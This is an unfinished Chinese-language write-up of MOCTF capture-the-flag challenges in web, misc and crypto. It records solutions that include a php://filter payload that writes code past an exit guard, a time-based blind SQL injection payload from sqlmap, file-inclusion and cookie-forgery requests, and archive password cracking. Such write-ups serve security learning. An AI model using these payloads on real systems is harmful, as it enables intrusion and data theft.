MOCTF WriteUp(未完待续)

未完待续

做题平台

WEB

签到

加群,flag在群公告里。

一道水题

右键无菜单弹出,Ctrl+Shift+I,调出Chrome开发人员工具,发现flag藏在HTML注释中。

还是水题

审查元素,看到:

1
<input type="password" value="" disabled="disabled" name="password" maxlength="4">

左键双击对应属性值,将相应值改为:

1
<input type="password" value="" name="password" maxlength="8">

然后输入moctf,可得flag。

访问限制

访问题目地址,看到“只允许使用NAIVE浏览器访问!”

抓包改User-Agent: NAIVE

提示“只允许香港记者访问!”

然后想了好久,X-Forward-For,挂香港代理,都没有用

最后感谢@默,最后是改Accept-Language: zh-HK

贪吃蛇

审查元素,发现:

1
<!--robots.txt-->

访问 http://119.23.73.3:5001/web4/robots.txt
得到:

1
2
3
user-agent:
Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php
Disallow: /index.html

访问 http://119.23.73.3:5001/web4/flag327a6c4304ad5938eaf0efb6cc3e53dc.php ,flag在注释里。

PHP黑魔法

根据提示:.php~

访问:http://119.23.73.3:5001/web5/index.php~

可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!--html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>好像少了点什么</center>";
?>
</body>
</html-->

分析php代码,发现是常规的的php弱类型的md5判断,直接:http://119.23.73.3:5001/web5/?a=240610708&b=QNKCDZO得到flag。

我想要钱

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

php time():返回自从 Unix 纪元(格林威治时间 1970 年 1 月 1 日 00:00:00)到当前时间的秒数。

不用想也知道是一个敲大的数字。

分析代码,money需要小于等于4位,并且还要大于time()的返回值,还不能是个数组。

so,科学计数法,9e99,得到flag。

登录就对了(没做出来呢)

网页标题SQLi,虽然不知道i什么意思,但是看到SQL就能想到SQL注入。

先sqlmap来一波~

网页上登陆一下,发现不是get请求,抓个包,存为request.txt

1
python2.7 sqlmap.py -r 'request.txt' --level 5
1
2
3
4
Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=name'||(SELECT 'sYtB' FROM DUAL WHERE 6986=6986 AND SLEEP(5))||'&pass=pw

Flag在哪儿?

抓包发现,点击get flag之后,会连续访问如下几个页面:

  • flag.php
  • where_is_flag.php
  • I_have_a_flag.php
  • I_have_a_frog.php
  • no_flag.php

根据提示PPAP,搜了一下PPAP的歌词,如下:

I have a pen,I have an apple.
(Uhh~)Apple-pen!
I have a pen,I have pineapple.
(Uhh~)Pineapple-pen!
Apple-pen~Pineapple-pen(Uhh\h~)
Pen-Pineapple-Apple-pen!
Pen-Pineapple-Apple-pen!

所以猜测flag的可能有:

  • flagfrog.php
  • frogflag.php
  • flag-frog.php
  • frog-flag.php

试了一下,下面两个都是404,所以突破口在上面两个

  • flagfrog.php -> no_flag.php
  • frogflag.php -> no_flag.php
  • flag-frog.php 404
  • frog-flag.php 404

不过上面两个在浏览器里访问都是跳到no_flag.php,好气,然后用burpsuite发了个包,emm……出flag了,这是什么鬼操作= =

死亡退出

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

注意:$c .= $_POST['c'];里面的.=相当于+=。此处感谢实验室大佬@咸鱼。

分析代码:

  • post传参cfile
  • POST的数据$c接在<?php exit;?>后面。
  • $c的内容存放到tmp.php这个文件中。
  • 包含tmp.php这个文件。

结合题目中的提示:

flag在flag.php

所以可以推断出,要在c中包含flag.php。

不过前面的那个exit;映了题目死亡退出。。。

Google搜到一篇讲php://filter绕过<?php exit;?>的文章,要点如下:

  • 使用php://filter流的base64-decode函数特性去除死亡exit
  • base64编码中只包含64个可打印字符,PHP在解码时,遇到这64字符之外的字符,就会跳过。
  • 所以,<?php exit;?>这句代码经过base64-decode,就会变成phpexit
  • phpexit一共7个字符,base64解码时是4个byte一组,所以再增加一个字符,比如a,凑够两组,8个字符,phpexita被正常解码,后面的我们构造的代码也被正常解码。

所以代码:

1
<?php echo file_get_contents("flag.php");?>

base64编码得:

1
PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==

所以,构造POST请求如下:

1
file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==

然后,审查元素……flag在注释里……(憋了好久,不知道自己哪里错了,最后无比绝望地吃蛋糕的时候,来了个审查元素……看见了flag……QAQ窝以后做题一定把下面的审查元素开着QAQ)

文件包含

审查元素发现注释中有flag.php

所以,构造请求:

1
file=php://filter/read=convert.base64-encode/resource=flag.php

得到:

1
SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==

base64解码得:

1
b'I have a flag!\n<?php \n\n//Flag: moctf{f1le_includ4_e5sy}\n//By:daoyuan\n\n?>\n'

得到flag。

美味的饼干

题目饼干想到cookie。

尝试登录了一下,发现提示:

1
<!--只有admin才有flag-->

尝试用admin登录。不过密码还是不对诶QAQ

问垂直上天的大佬@一叶飘零,大佬提示:cookie,改。

那琢磨一下cookie吧:

1
login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

看起来像是base64,python解报错,不是base64,burpsuite解了一下,发现后半部分存在问题:

1
ee11cbb19052e40b07aac0ca060c23ZWU%3D

(这个时候窝应该猜一下前面是md5的诶QAQ可惜了)

然后搜了一下MOCTF WriteUp,然后发现了这个 https://github.com/xishir/moctf/blob/master/WEB/web9-%E7%BE%8E%E5%91%B3%E7%9A%84%E9%A5%BC%E5%B9%B2/index.php

so,这就简单了,把adminmd5一下,再base64一个,把cookie设为这个值,就得到flag了,顺便说一句,在HTML注释里~

1
2
3
4
5
6
7
>>> a = hashlib.md5(b'admin')
>>> a
<md5 HASH object @ 0x10f222f58>
>>> a.hexdigest()
'21232f297a57a5a743894a0e4a801fc3'
>>> base64.b64encode(b'21232f297a57a5a743894a0e4a801fc3')
b'MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM='

火眼金睛

基本思路就是脚本get网页内容,对moctf计数,结果post过去。

不过自己写了个脚本,返回总是错误,问了一下实验室大佬@咸鱼,加了PHOSESSID的cookie就好了。

脚本如下(py3):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from bs4 import BeautifulSoup
import requests
r = requests.get('http://119.23.73.3:5001/web10/')
cookie = r.cookies['PHPSESSID']
bsOjb = BeautifulSoup(r.content, 'html.parser')
txt = bsOjb.find('textarea').text
cnt = txt.count('moctf')
postData = {'answer':cnt}
postCookie = dict(PHPSESSID=cookie)
r = requests.post('http://119.23.73.3:5001/web10/work.php',data=postData,cookies=postCookie)
print(cnt)
print(r)
print(r.text)

简单注入(没做出来)

习惯性审查元素,发现提示 ?id=1 ,那就试一下吧喵

  • ?id=1 Welcome to MOCTF!
  • ?id=2 Flag is in the database!
  • ?id=3 The table name length is greater than 20!

    * 从?id=4开始就什么都没有辣

  • ?id=4%20union%20database() WHAT A FUCK!

暴跳老板

没时间解释了

MISC

我可是黑客

用记事本打开图片,拉到最下面,flag。

光阴似箭

扩展名改成gif,ps打开,第四帧内容倒过来,flag。

【不过没太想明白flash movie的意思】

扫扫出奇迹

二维码直接扫,微信是扫不出来,QQ扫出来一个什么英语软件的下载= =明显不对

Google了一下二维码,观察维基百科的二维码图片与题目中所给二维码,发现三个定位点的黑白颜色相反,所以推测要把图片反色,然后在线图片反色,反色出来的图片一扫就出来flag了。

杰斯的魔法

复制到控制台,执行,出flag。

百变flag

binwalk走一下,发现开头一个zip,解压是f1ag.exe。

根据提示特殊文件头,WinHex打开,发现大量重复片段,中间还有段空白,结尾还是这样的:

1
93:03:91 13:70:7102 )swodniW( 6SC pohsotohP ebodA

是Adobe Photoshop…反过来嘛……感觉这应该是一个图片。

结合题目字符串编程,猜想把把文件当成一个大字符串,来个反转:

1
2
3
4
f = open('f1ag.exe', 'rt', encoding='latin-1').read()
rf = f[::-1]
w = open('flag.exe', 'wt', encoding='latin-1')
w.write(rf)

代码里面为什么encoding='latin-1'?因为用的别的编码都报错。

写给自己的注意:最开始输出的时候忘了加encoding='latin-1',然后默认是utf-8,所以结果不对,想了好久QAQ

不过以wb解,上面那个图片能解出来,也能读出来flag,但是有马赛克。

然后以rb读,没有马赛克(此处感谢@Cosmos):

1
2
3
4
inputFile = open('f1ag.exe', 'rb').read()
output = inputFile[::-1]
outputFile = open('output_2', 'wb')
outputFile.write(output)

再看output_2的文件头,FF D8 FF E1,是JPEG的文件头,加个扩展名,然后flag就出来啦。

咨询出题人,明明是rb为什么叫字符串编程?答:C 文件操作

本着复习C语言的目的,再拿C撸一个吧

不写了不写了,C语言好垃圾

歌曲

二维码扫出来的结果:

1
\u7f8a\u7531\u5927\u4e95\u592b\u5927\u4eba\u738b\u4e2d\u5de5

Unicode转ASCII:羊由大井夫大人王中工

解当铺密码:9158753624,推测是之后在mp3中用到的密码

解当铺密码的脚本:

1
2
3
4
5
6
7
8
9
s = '羊由大井夫大人王中工'
d = {'口':'0', '由':'1', '中':'2', '人':'3', '工':'4', '大':'5', '王':'6', '夫':'7', '井':'8', '羊':'9'}
result = ''
for i in s:
if i in d:
result += d[i]
else:
result += i
print(result)

ctf音频隐写可以参考CTFWiki - 音频分析

里面提到MP3隐写需要用到MP3Stego

下载之后参考用法./Decode.exe -X -P 9158753624 apple.mp3

apple.mp3.txt中得到:Q1RGe3hpYW9fcGluZ19ndW99,base64解码得flag

机密压缩包(没做出来)

CTFWiki - RAR

看起来不像是伪加密,那就拿rarcrack爆破吧。

rarcrack官网

tar -xjf rarcrack-0.2.tar.bz2
cd rarcrack-0.2
make && make install

rarcrack 文件名 -threads 线程数 -type rar|zip|7z

假装安全

1
binwalk -e carefully.jpg

得到flag.txt,内容为mcfCrflyS1eot{@eul_ld}

明显栅栏密码,n=2,解除flag为moctf{C@refully_Sl1de}

女神的告白

1
fcrackzip -D lovedic.txt -u love.zip

蒙娜丽萨的微笑

binwalk一下,出来四个文件。

注意图片名字没想到

Crypto

就是这个feel!!

题目恰恰 恰恰恰 恰绑恰绑 恰 绑绑恰绑{恰恰绑 恰恰恰 恰恰恰 恰绑绑}

只有两种,推测是摩斯密码,且大括号前面的字符解出来应该是moctf

moctf摩斯加密后,得:

1
--/---/-.-./-/..-.

所以,对应-对应.

1
--/---/-.-./-/..-.{--./---/---/-..}

解摩斯密码得:

1
moctf{GOOD}

然后,根据题目提示

Hint1: 最新更新:flag没有空格,都是小写字母。

So,flag:moctf{good}

数据库密码

感谢@pcat

题目密文:

1
D8EA7326QE6EC5916ACCDX6E0VC9D264C63

len()一下,发现35个字符

emm 去掉其中不属于md5的字符,变为:

1
D8EA7326E6EC5916ACCD6E0C9D264C63

md5反查,得:

1
key123

rot大法好

题目给了提示rot

回忆一下以前的知识,有个rot13

  • 26个字母,平均分成两半,各13各字母,第一部分A-M,第二部分N-Z
  • rot13的过程就是:把A-M映射到N-Z,把N-Z映射到A-M
  • 第一遍rot13加密,第二遍rot13就是解密了。(表述可能不太好,看不懂可以自己去搜qwq)

不过题目给的明显是个反转的字符串,我们先要反转过来,再rot13。

Python大法好:

1
2
3
4
5
6
7
8
9
>>> a = '}rQbpar_gbE{sgpbz'
>>> b = a[::-1]
>>> b
'zbpgs{Ebg_rapbQr}'
>>> import codecs
>>> c = codecs.encode(b, 'rot-13')
>>> c
'moctf{Rot_encoDe}'
>>>

奇怪汉字

不会啊,Google搜了一下题目的密文,发现是当铺密码百度百科-当铺密码

当铺密码[1] 就是一种将中文和数字进行转化的密码,算法相当简单:当前汉字有多少笔画出头,就是转化成数字几。
102 117 110 110 121

一个简单的脚本:

1
2
3
4
5
6
7
8
9
s = '由口中 由由夫 由由口 由由口 由中由'
d = {'由':'1', '口':'0', '中':'2', '夫':'7'}
result = ''
for i in s:
if i in d:
result += d[i]
else:
result += i
print(result)

当铺解密结果:102 117 110 110 121

然后窝一看最大是7,以为是八进制,一直在拿八进制解ASCII,憋了一天,突然发现拿十进制解才是对的,哭瞎QAQ

此处感谢@一叶飘零

贝斯族谱

n次base64解码后:ngn_qp{qdudtms0u1fz}

一般情况下,_都是在flag的大括号里面的,所以感觉是栅栏密码,当成栅栏密码解

因为flag会是moctf{...}的形式,所以要解成大括号外面有五个字母的样子

当n=4时,解出来是npdug{t1nqmf_dszqu0}

然后再凯撒密码,当rot=25时,解出来moctf{s1mple_crypt0}

窝很可爱,请给窝钱